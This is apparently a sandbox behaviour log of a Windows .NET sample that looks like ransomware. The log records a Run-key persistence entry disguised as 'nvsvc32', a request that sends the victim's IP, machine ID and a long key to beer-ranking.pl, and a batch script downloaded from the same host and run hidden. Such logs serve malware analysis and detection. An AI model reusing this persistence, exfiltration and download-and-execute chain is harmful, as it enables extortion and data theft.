Module Get Handle module_name = c:\windows\syswow64\user32.dll, base_address = 0x77310000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\user32.dll, function = DefWindowProcW, address_out = 0x778d25dd True 1
Fn
Module Get Handle module_name = c:\users\kft6utqw\appdata\roaming\nvss.exe, base_address = 0x1120000 True 2
Fn
Window Create window_name = 0, class_name = WindowsForms10.Window.8.app.0.2bf8098_r13_ad1, wndproc_parameter = 0 True 1
Fn
Window Set Attribute window_name = 0, class_name = WindowsForms10.Window.8.app.0.2bf8098_r13_ad1, index = 18446744073709551612, new_long = 2005738973 True 1
Fn
Window Set Attribute window_name = 0, class_name = WindowsForms10.Window.8.app.0.2bf8098_r13_ad1, index = 18446744073709551612, new_long = 7342170 True 1
Fn
Module Get Handle module_name = c:\windows\microsoft.net\assembly\gac_msil\system.windows.forms\v4.0_4.0.0.0__b77a5c561934e089\system.windows.forms.dll, base_address = 0x6bc90000 True 15
Fn
Module Get Handle module_name = c:\users\kft6utqw\appdata\roaming\nvss.exe, base_address = 0x1120000 True 2
Fn
Window Create window_name = .NET-BroadcastEventWindow.4.0.0.0.2bf8098.0, class_name = .NET-BroadcastEventWindow.4.0.0.0.2bf8098.0, wndproc_parameter = 0 True 1
Fn
Module Get Handle module_name = c:\windows\microsoft.net\assembly\gac_msil\system.windows.forms\v4.0_4.0.0.0__b77a5c561934e089\system.windows.forms.dll, base_address = 0x6bc90000 True 8
Fn
Module Get Handle module_name = c:\users\kft6utqw\appdata\roaming\nvss.exe, base_address = 0x1120000 True 2
Fn
Window Create window_name = TimerNativeWindow, class_name = WindowsForms10.Window.0.app.0.2bf8098_r13_ad1, wndproc_parameter = 0 True 1
Fn
Window Set Attribute window_name = TimerNativeWindow, class_name = WindowsForms10.Window.0.app.0.2bf8098_r13_ad1, index = 18446744073709551612, new_long = 2005738973 True 1
Fn
Window Set Attribute window_name = TimerNativeWindow, class_name = WindowsForms10.Window.0.app.0.2bf8098_r13_ad1, index = 18446744073709551612, new_long = 7342410 True 1
Fn
System Sleep duration = 100 milliseconds (0.100 seconds) True 1
Fn
System Sleep duration = 105100 milliseconds (105.100 seconds) True 1
Fn
Module Get Handle module_name = c:\windows\microsoft.net\assembly\gac_msil\system.windows.forms\v4.0_4.0.0.0__b77a5c561934e089\system.windows.forms.dll, base_address = 0x6bc90000 True 13
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe.config, type = file_attributes False 1
Fn
Module Get Handle module_name = c:\windows\microsoft.net\assembly\gac_msil\system.windows.forms\v4.0_4.0.0.0__b77a5c561934e089\system.windows.forms.dll, base_address = 0x6bc90000 True 1
Fn
System Get Cursor x_out = 473, y_out = 376 True 1
Fn
Module Get Handle module_name = c:\windows\microsoft.net\assembly\gac_msil\system.windows.forms\v4.0_4.0.0.0__b77a5c561934e089\system.windows.forms.dll, base_address = 0x6bc90000 True 1
Fn
System Get Cursor x_out = 473, y_out = 376 True 1
Fn
Module Get Handle module_name = c:\windows\microsoft.net\assembly\gac_msil\system.windows.forms\v4.0_4.0.0.0__b77a5c561934e089\system.windows.forms.dll, base_address = 0x6bc90000 True 1
Fn
System Get Cursor x_out = 473, y_out = 376 True 1
Fn
Module Get Handle module_name = c:\windows\microsoft.net\assembly\gac_msil\system.windows.forms\v4.0_4.0.0.0__b77a5c561934e089\system.windows.forms.dll, base_address = 0x6bc90000 True 44
Fn
File Get Info filename = C:\ProgramData\Keyboard, type = file_attributes False 2
Fn
File Get Info filename = C:\ProgramData, type = file_attributes True 1
Fn
File Create Directory C:\ProgramData\Keyboard True 1
Fn
File Create filename = C:\ProgramData\Keyboard\17102017_012722.log, desired_access = GENERIC_WRITE, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\ProgramData\Keyboard\17102017_012722.log, type = file_type True 2
Fn
File Write filename = C:\ProgramData\Keyboard\17102017_012722.log, size = 37 True 1
Fn
Data
Registry Open Key reg_name = HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, value_name = nvsvc32, type = REG_NONE False 1
Fn
Registry Write Value reg_name = HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, value_name = nvsvc32, data = C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe, size = 86, type = REG_SZ True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, value_name = nvsvc32, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, value_name = nvsvc32, data = C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe, type = REG_SZ True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\SOFTWARE\AESxWin False 2
Fn
Registry Create Key reg_name = HKEY_CURRENT_USER\SOFTWARE\AESxWin True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\SOFTWARE\AESxWin, value_name = ComputerId, type = REG_NONE False 1
Fn
Registry Write Value reg_name = HKEY_CURRENT_USER\SOFTWARE\AESxWin, value_name = ComputerId, data = 0b75c6dd-d172-492e-b7be-2c05de30e808, size = 74, type = REG_SZ True 1
Fn
Module Get Handle module_name = c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll, base_address = 0x74820000 True 1
Fn
System Get Cursor x_out = 473, y_out = 376 True 1
Fn
Module Get Handle module_name = c:\users\kft6utqw\appdata\roaming\nvss.exe, base_address = 0x1120000 True 1
Fn
Window Create window_name = AESxWinAuto, class_name = WindowsForms10.Window.8.app.0.2bf8098_r13_ad1, wndproc_parameter = 0 True 1
Fn
Window Set Attribute window_name = AESxWinAuto, class_name = WindowsForms10.Window.8.app.0.2bf8098_r13_ad1, index = 18446744073709551612, new_long = 2005738973 True 1
Fn
Window Set Attribute window_name = AESxWinAuto, class_name = WindowsForms10.Window.8.app.0.2bf8098_r13_ad1, index = 18446744073709551612, new_long = 7342506 True 1
Fn
Module Get Handle module_name = c:\users\kft6utqw\appdata\roaming\nvss.exe, base_address = 0x1120000 True 1
Fn
Window Create window_name = 0, class_name = WindowsForms10.Window.0.app.0.2bf8098_r13_ad1, wndproc_parameter = 0 True 1
Fn
Window Set Attribute window_name = 0, class_name = WindowsForms10.Window.0.app.0.2bf8098_r13_ad1, index = 18446744073709551612, new_long = 2005738973 True 1
Fn
Window Set Attribute window_name = 0, class_name = WindowsForms10.Window.0.app.0.2bf8098_r13_ad1, index = 18446744073709551612, new_long = 7342554 True 1
Fn
Window Set Attribute window_name = AESxWinAuto, class_name = WindowsForms10.Window.8.app.0.2bf8098_r13_ad1, index = 18446744073709551608, new_long = 66102 False 1
Fn
Window Set Attribute window_name = AESxWinAuto, class_name = WindowsForms10.Window.8.app.0.2bf8098_r13_ad1, index = 18446744073709551608, new_long = 66102 True 1
Fn
Module Get Handle module_name = c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll, base_address = 0x74820000 True 1
Fn
System Get Cursor x_out = 473, y_out = 376 True 1
Fn
Window Set Attribute window_name = AESxWinAuto, class_name = WindowsForms10.Window.8.app.0.2bf8098_r13_ad1, index = 18446744073709551600, new_long = 47054848 True 1
Fn
Window Set Attribute window_name = AESxWinAuto, class_name = WindowsForms10.Window.8.app.0.2bf8098_r13_ad1, index = 18446744073709551596, new_long = 589824 True 1
Fn
Module Get Handle module_name = c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll, base_address = 0x74820000 True 1
Fn
Module Get Handle module_name = c:\users\kft6utqw\appdata\roaming\nvss.exe, base_address = 0x1120000 True 2
Fn
Window Create window_name = 0, class_name = WindowsForms10.COMBOBOX.app.0.2bf8098_r13_ad1, wndproc_parameter = 0 True 1
Fn
Window Set Attribute window_name = 0, class_name = WindowsForms10.COMBOBOX.app.0.2bf8098_r13_ad1, index = 18446744073709551612, new_long = 1955293152 True 1
Fn
Window Set Attribute window_name = 0, class_name = WindowsForms10.COMBOBOX.app.0.2bf8098_r13_ad1, index = 18446744073709551612, new_long = 7342650 True 1
Fn
Window Set Attribute window_name = 0, class_name = WindowsForms10.COMBOBOX.app.0.2bf8098_r13_ad1, index = 18446744073709551604, new_long = 66104 False 1
Fn
Window Set Attribute index = 18446744073709551612, new_long = 7342698 True 1
Fn
Module Get Handle module_name = c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll, base_address = 0x74820000 True 1
Fn
Module Get Handle module_name = c:\users\kft6utqw\appdata\roaming\nvss.exe, base_address = 0x1120000 True 2
Fn
Window Create window_name = button8, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, wndproc_parameter = 0 True 1
Fn
Window Set Attribute window_name = button8, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, index = 18446744073709551612, new_long = 1954854037 True 1
Fn
Window Set Attribute window_name = button8, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, index = 18446744073709551612, new_long = 7342794 True 1
Fn
Window Set Attribute window_name = button8, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, index = 18446744073709551604, new_long = 66110 False 1
Fn
Module Get Handle module_name = c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll, base_address = 0x74820000 True 1
Fn
Module Get Handle module_name = c:\users\kft6utqw\appdata\roaming\nvss.exe, base_address = 0x1120000 True 1
Fn
Window Create window_name = 0, class_name = WindowsForms10.COMBOBOX.app.0.2bf8098_r13_ad1, wndproc_parameter = 0 True 1
Fn
Window Set Attribute window_name = 0, class_name = WindowsForms10.COMBOBOX.app.0.2bf8098_r13_ad1, index = 18446744073709551612, new_long = 1955293152 True 1
Fn
Window Set Attribute window_name = 0, class_name = WindowsForms10.COMBOBOX.app.0.2bf8098_r13_ad1, index = 18446744073709551612, new_long = 7342842 True 1
Fn
Window Set Attribute window_name = 0, class_name = WindowsForms10.COMBOBOX.app.0.2bf8098_r13_ad1, index = 18446744073709551604, new_long = 66112 False 1
Fn
Window Set Attribute index = 18446744073709551612, new_long = 7342890 True 1
Fn
Module Get Handle module_name = c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll, base_address = 0x74820000 True 1
Fn
Module Get Handle module_name = c:\users\kft6utqw\appdata\roaming\nvss.exe, base_address = 0x1120000 True 1
Fn
Window Create window_name = button9, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, wndproc_parameter = 0 True 1
Fn
Window Set Attribute window_name = button9, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, index = 18446744073709551612, new_long = 1954854037 True 1
Fn
Window Set Attribute window_name = button9, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, index = 18446744073709551612, new_long = 7386050 True 1
Fn
Window Set Attribute window_name = button9, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, index = 18446744073709551604, new_long = 66118 False 1
Fn
Module Get Handle module_name = c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll, base_address = 0x74820000 True 1
Fn
Module Get Handle module_name = c:\users\kft6utqw\appdata\roaming\nvss.exe, base_address = 0x1120000 True 1
Fn
Window Create window_name = button10, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, wndproc_parameter = 0 True 1
Fn
Window Set Attribute window_name = button10, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, index = 18446744073709551612, new_long = 1954854037 True 1
Fn
Window Set Attribute window_name = button10, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, index = 18446744073709551612, new_long = 7386122 True 1
Fn
Window Set Attribute window_name = button10, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, index = 18446744073709551604, new_long = 66120 False 1
Fn
Module Get Handle module_name = c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll, base_address = 0x74820000 True 1
Fn
Module Get Handle module_name = c:\users\kft6utqw\appdata\roaming\nvss.exe, base_address = 0x1120000 True 1
Fn
Window Create window_name = button11, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, wndproc_parameter = 0 True 1
Fn
Window Set Attribute window_name = button11, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, index = 18446744073709551612, new_long = 1954854037 True 1
Fn
Window Set Attribute window_name = button11, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, index = 18446744073709551612, new_long = 7386170 True 1
Fn
Window Set Attribute window_name = button11, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, index = 18446744073709551604, new_long = 66122 False 1
Fn
Module Get Handle module_name = c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll, base_address = 0x74820000 True 1
Fn
Module Get Handle module_name = c:\users\kft6utqw\appdata\roaming\nvss.exe, base_address = 0x1120000 True 1
Fn
Window Create window_name = button12, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, wndproc_parameter = 0 True 1
Fn
Window Set Attribute window_name = button12, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, index = 18446744073709551612, new_long = 1954854037 True 1
Fn
Window Set Attribute window_name = button12, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, index = 18446744073709551612, new_long = 7386218 True 1
Fn
Window Set Attribute window_name = button12, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, index = 18446744073709551604, new_long = 66124 False 1
Fn
Module Get Handle module_name = c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll, base_address = 0x74820000 True 1
Fn
Module Get Handle module_name = c:\users\kft6utqw\appdata\roaming\nvss.exe, base_address = 0x1120000 True 1
Fn
Window Create window_name = checkBox1, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, wndproc_parameter = 0 True 1
Fn
Window Set Attribute window_name = checkBox1, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, index = 18446744073709551612, new_long = 1954854037 True 1
Fn
Window Set Attribute window_name = checkBox1, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, index = 18446744073709551612, new_long = 7386266 True 1
Fn
Window Set Attribute window_name = checkBox1, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, index = 18446744073709551604, new_long = 66126 False 1
Fn
Module Get Handle module_name = c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll, base_address = 0x74820000 True 1
Fn
Module Get Handle module_name = c:\users\kft6utqw\appdata\roaming\nvss.exe, base_address = 0x1120000 True 1
Fn
Window Create window_name = 0, class_name = WindowsForms10.Window.8.app.0.2bf8098_r13_ad1, wndproc_parameter = 0 True 1
Fn
Window Set Attribute window_name = 0, class_name = WindowsForms10.Window.8.app.0.2bf8098_r13_ad1, index = 18446744073709551612, new_long = 2005738973 True 1
Fn
Window Set Attribute window_name = 0, class_name = WindowsForms10.Window.8.app.0.2bf8098_r13_ad1, index = 18446744073709551612, new_long = 7386314 True 1
Fn
Window Set Attribute window_name = 0, class_name = WindowsForms10.Window.8.app.0.2bf8098_r13_ad1, index = 18446744073709551604, new_long = 66128 False 1
Fn
Module Get Handle module_name = c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll, base_address = 0x74820000 True 1
Fn
Module Get Handle module_name = c:\users\kft6utqw\appdata\roaming\nvss.exe, base_address = 0x1120000 True 1
Fn
Window Create window_name = 0, class_name = WindowsForms10.COMBOBOX.app.0.2bf8098_r13_ad1, wndproc_parameter = 0 True 1
Fn
Window Set Attribute window_name = 0, class_name = WindowsForms10.COMBOBOX.app.0.2bf8098_r13_ad1, index = 18446744073709551612, new_long = 1955293152 True 1
Fn
Window Set Attribute window_name = 0, class_name = WindowsForms10.COMBOBOX.app.0.2bf8098_r13_ad1, index = 18446744073709551612, new_long = 7386362 True 1
Fn
Window Set Attribute window_name = 0, class_name = WindowsForms10.COMBOBOX.app.0.2bf8098_r13_ad1, index = 18446744073709551604, new_long = 66130 False 1
Fn
Window Set Attribute index = 18446744073709551612, new_long = 7386410 True 1
Fn
Module Get Handle module_name = c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll, base_address = 0x74820000 True 1
Fn
Module Get Handle module_name = c:\users\kft6utqw\appdata\roaming\nvss.exe, base_address = 0x1120000 True 1
Fn
Window Create window_name = button3, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, wndproc_parameter = 0 True 1
Fn
Window Set Attribute window_name = button3, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, index = 18446744073709551612, new_long = 1954854037 True 1
Fn
Window Set Attribute window_name = button3, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, index = 18446744073709551612, new_long = 7386458 True 1
Fn
Window Set Attribute window_name = button3, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, index = 18446744073709551604, new_long = 66136 False 1
Fn
Module Get Handle module_name = c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll, base_address = 0x74820000 True 1
Fn
Module Get Handle module_name = c:\users\kft6utqw\appdata\roaming\nvss.exe, base_address = 0x1120000 True 1
Fn
Window Create window_name = button1, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, wndproc_parameter = 0 True 1
Fn
Window Set Attribute window_name = button1, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, index = 18446744073709551612, new_long = 1954854037 True 1
Fn
Window Set Attribute window_name = button1, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, index = 18446744073709551612, new_long = 7386506 True 1
Fn
Window Set Attribute window_name = button1, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, index = 18446744073709551604, new_long = 66138 False 1
Fn
Module Get Handle module_name = c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll, base_address = 0x74820000 True 1
Fn
Module Get Handle module_name = c:\users\kft6utqw\appdata\roaming\nvss.exe, base_address = 0x1120000 True 1
Fn
Window Create window_name = Start, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, wndproc_parameter = 0 True 1
Fn
Window Set Attribute window_name = Start, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, index = 18446744073709551612, new_long = 1954854037 True 1
Fn
Window Set Attribute window_name = Start, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, index = 18446744073709551612, new_long = 7386554 True 1
Fn
Window Set Attribute window_name = Start, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, index = 18446744073709551604, new_long = 66140 False 1
Fn
Module Get Handle module_name = c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll, base_address = 0x74820000 True 1
Fn
Module Get Handle module_name = c:\users\kft6utqw\appdata\roaming\nvss.exe, base_address = 0x1120000 True 1
Fn
Window Create window_name = Uruchom ze startem systemu, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, wndproc_parameter = 0 True 1
Fn
Window Set Attribute window_name = Uruchom ze startem systemu, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, index = 18446744073709551612, new_long = 1954854037 True 1
Fn
Window Set Attribute window_name = Uruchom ze startem systemu, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, index = 18446744073709551612, new_long = 7386602 True 1
Fn
Window Set Attribute window_name = Uruchom ze startem systemu, class_name = WindowsForms10.BUTTON.app.0.2bf8098_r13_ad1, index = 18446744073709551604, new_long = 66142 False 1
Fn
COM Create interface = 00000000-0000-0000-C000-000000000046, cls_context = CLSCTX_INPROC_SERVER True 1
Fn
Window Set Attribute index = 18446744073709551612, new_long = 7386698 True 1
Fn
Keyboard Get Info type = KB_LOCALE_ID, os_tid = 0, result_out = 67699721 True 1
Fn
File Create filename = C:\ProgramData\Keyboard\17102017_012722.log, desired_access = GENERIC_WRITE, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\ProgramData\Keyboard\17102017_012722.log, type = file_type True 2
Fn
File Write filename = C:\ProgramData\Keyboard\17102017_012722.log, size = 48 True 1
Fn
Data
Process Create process_name = CMD.exe, show_window = SW_SHOWNORMAL True 1
Fn
File Create filename = C:\ProgramData\Keyboard\17102017_012722.log, desired_access = GENERIC_WRITE, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\ProgramData\Keyboard\17102017_012722.log, type = file_type True 2
Fn
File Write filename = C:\ProgramData\Keyboard\17102017_012722.log, size = 404 True 1
Fn
Data
File Create filename = C:\ProgramData\Keyboard\17102017_012722.log, desired_access = GENERIC_WRITE, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\ProgramData\Keyboard\17102017_012722.log, type = file_type True 2
Fn
File Write filename = C:\ProgramData\Keyboard\17102017_012722.log, size = 55 True 1
Fn
Data
Registry Open Key reg_name = HKEY_CURRENT_USER\SOFTWARE\AESxWin True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\SOFTWARE\AESxWin, value_name = ComputerId, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\SOFTWARE\AESxWin, value_name = ComputerId, data = 0b75c6dd-d172-492e-b7be-2c05de30e808, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config, type = file_attributes True 1
Fn
File Create filename = C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config, type = file_type True 2
Fn
File Get Info filename = C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config, type = size, size_out = 0 True 1
Fn
File Read filename = C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config, size = 4096, size_out = 4096 True 8
Fn
Data
File Read filename = C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config, size = 4096, size_out = 3215 True 1
Fn
Data
File Read filename = C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe.config, type = file_attributes False 1
Fn
Socket Send flags = NO_FLAG_SET, size = 443, size_out = 443 True 1
Fn
Data
Inet Open Session access_type = WINHTTP_ACCESS_TYPE_NO_PROXY, proxy_name = WINHTTP_NO_PROXY_NAME, proxy_bypass = WINHTTP_NO_PROXY_BYPASS True 1
Fn
Inet Open Connection protocol = http, server_name = beer-ranking.pl, server_port = 80 True 1
Fn
Inet Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /login/post.php?IP=87.142.159.51&ID=0b75c6dd-d172-492e-b7be-2c05de30e808&Data=17-10-2017%2001:10:26&Haslo=46sDISwJJE10uqPP7rx!K_*@KX(YL2yASBN@3SDx6)7!_HL7IR23RZY!FUT1H2@9*H40@r71qZWq_r7ISTutC2_RHSDYFxRCOG!JI3tIL0IL1A4D38H)UGQ!93Ty@wJIMF14r5xNOO8AZXNLO4Ktu@_(YTwRZO@u4W85K_D9Owtx2QRBF*EJ7DGO6LqP@@UYQNN!M15@68qSIS3YOrqFFH4w35UYZzFAW3urN9*E1*6tOT1(U2D9tq)65TNO23ZIQ3K)XGCIDsL2XxZB9!u**t32XBBJ(92OXxMDNZU02 True 1
Fn
Inet Send HTTP Request headers = host: beer-ranking.pl, url = beer-ranking.pl/login/post.php?IP=87.142.159.51&ID=0b75c6dd-d172-492e-b7be-2c05de30e808&Data=17-10-2017%2001:10:26&Haslo=46sDISwJJE10uqPP7rx!K_*@KX(YL2yASBN@3SDx6)7!_HL7IR23RZY!FUT1H2@9*H40@r71qZWq_r7ISTutC2_RHSDYFxRCOG!JI3tIL0IL1A4D38H)UGQ!93Ty@wJIMF14r5xNOO8AZXNLO4Ktu@_(YTwRZO@u4W85K_D9Owtx2QRBF*EJ7DGO6LqP@@UYQNN!M15@68qSIS3YOrqFFH4w35UYZzFAW3urN9*E1*6tOT1(U2D9tq)65TNO23ZIQ3K)XGCIDsL2XxZB9!u**t32XBBJ(92OXxMDNZU02 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 4096, size_out = 180 True 1
Fn
Data
Inet Read Response size = 4096, size_out = 180 True 1
Fn
Data
File Create filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, desired_access = GENERIC_WRITE, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, type = file_type True 2
Fn
Socket Send flags = NO_FLAG_SET, size = 49, size_out = 49 True 1
Fn
Data
Inet Open Session access_type = WINHTTP_ACCESS_TYPE_NO_PROXY, proxy_name = WINHTTP_NO_PROXY_NAME, proxy_bypass = WINHTTP_NO_PROXY_BYPASS True 1
Fn
Inet Open Connection protocol = http, server_name = beer-ranking.pl, server_port = 80 True 1
Fn
Inet Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /save.txt True 1
Fn
Inet Send HTTP Request headers = host: beer-ranking.pl, url = beer-ranking.pl/save.txt True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 4096, size_out = 1863 True 1
Fn
Data
Inet Read Response size = 4096, size_out = 1863 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat, size = 1648 True 1
Fn
Data
File Open filename = STD_INPUT_HANDLE True 1
Fn
File Create Pipe pipe_name = Anonymous read pipe, size = 0 True 1
Fn
File Open filename = STD_ERROR_HANDLE True 1
Fn
Process Create process_name = "C:\Users\kFT6uTQW\AppData\Roaminghhfhqi2h.wln.bat", os_pid = 0xbb0, creation_flags = CREATE_NO_WINDOW, startup_flags = STARTF_USESTDHANDLES, show_window = SW_HIDE True 1
Fn
File Get Info type = file_type True 1
Fn
File Read size = 4096, size_out = 119 True 1
Fn
Data
File Read size = 4096, size_out = 6 True 1
Fn
Data
File Read size = 4096, size_out = 1 True 1
Fn
Data
File Read size = 4096, size_out = 153 True 1
Fn
Data
File Read size = 4096, size_out = 3 True 1
Fn
Data
File Read size = 4096, size_out = 0 False 1
Fn
Keyboard Get Info type = KB_LOCALE_ID, os_tid = 0, result_out = 67699721 True 1
Fn
Thread 0xab4
(Host: 33, Network: 29)
+
Category Operation Information Success Count Logfile
File Get Info filename = C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config, type = file_attributes True 2
Fn
File Create filename = C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config, type = file_type True 2
Fn
File Get Info filename = C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config, type = size, size_out = 0 True 1
Fn
File Read filename = C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config, size = 4096, size_out = 4096 True 8
Fn
Data
File Read filename = C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config, size = 4096, size_out = 3215 True 1
Fn
Data
File Read filename = C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe.config, type = file_attributes False 2
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion, value_name = InstallationType, data = 0, type = REG_SZ True 1
Fn
